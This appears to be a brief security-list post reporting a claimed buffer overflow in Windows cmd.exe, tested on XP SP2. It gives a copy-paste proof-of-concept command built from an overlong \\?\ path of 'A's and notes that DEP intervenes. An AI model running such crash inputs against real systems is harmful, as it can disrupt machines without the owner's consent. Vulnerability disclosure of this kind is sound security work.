It didn't work on Windows Server 2003 or Windows 2000 either. (fully patched
and latest SPs)

Windows Command Processor CMD.EXE Buffer Overflow
Tested on WinXP SP2
Impact - Very Low

Copy-paste the following line in cmd.exe and execute it..
(it is a single command, has been split into multiple lines for
readability sake).

%COMSPEC% /K "dir
\\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

(260 characters of 'A's)

DEP Comes into the picture.
